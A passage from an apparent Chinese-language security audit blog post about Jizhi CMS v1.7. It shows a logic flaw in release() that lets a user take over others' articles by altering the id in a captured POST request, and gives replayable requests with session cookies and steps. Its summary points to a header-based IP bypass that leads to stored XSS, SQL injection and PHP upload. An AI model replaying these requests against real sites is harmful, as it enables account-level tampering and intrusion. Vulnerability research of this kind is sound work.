POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 119
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release.html
Cookie: PHPSESSID=6jgmku4kuk71mdljmai77cj432

ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3Cbr%2F%3E%3C%2Fp%3E&ishot=1

第四处逻辑漏洞——越权修改别人已发表的文章为未审核

/Home/c/UserController.php中的release()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    //文章发布和修改
function release(){
......
......
......
......
......
$molds = $this->frparam('molds',1,'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
$molds = $this->data['molds'];
$this->moldsdata = M('molds')->find(['biaoshi'=>$molds]);
$tid = $this->data['tid'];
}else{
$this->data = false;
}
$this->molds = $molds;
$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template.'/user/article-add');

}

上述代码第10行至第21行,if($this->frparam('id'))这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章

下面是演示结果:

这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包

image-20200603184407958

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /user/release.html HTTP/1.1
Host: www.**.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://www.**.net
Connection: close
Referer: http://www.**.net/user/release/id/29/molds/article.html
Cookie: PHPSESSID=lcfjs54o8288d6q68julppqu60

ajax=1&id=29&isshow=0&molds=article&tid=2&title=1&keywords=1&litpic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E

修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13

image-20200603184511398

原本这篇文章是正常的,且我的投稿中并没有这篇文章

image-20200520224526063

然后发包

image-20200603184614304

后台刷新即可看到这篇文章的状态

image-20200520224625465

然后我们本地就多了一篇文章

image-20200520224652810

总结

  1. 这个cms比较有意思的一点就是获取ip的函数GetIP(),这里可以用http头CDN-SRC-IP绕过导致可以触发存储型xss和sql注入
  2. 其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)
  3. 这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用
  4. 这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞

本文标题:极致cms v1.7的一次审计

文章作者:xianyu123

发布时间:2020年06月18日 - 11:08

最后更新:2020年08月24日 - 10:23

原始链接:http://0clickjacking0.github.io/2020/06/18/极致cms v1.7的一次审计/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------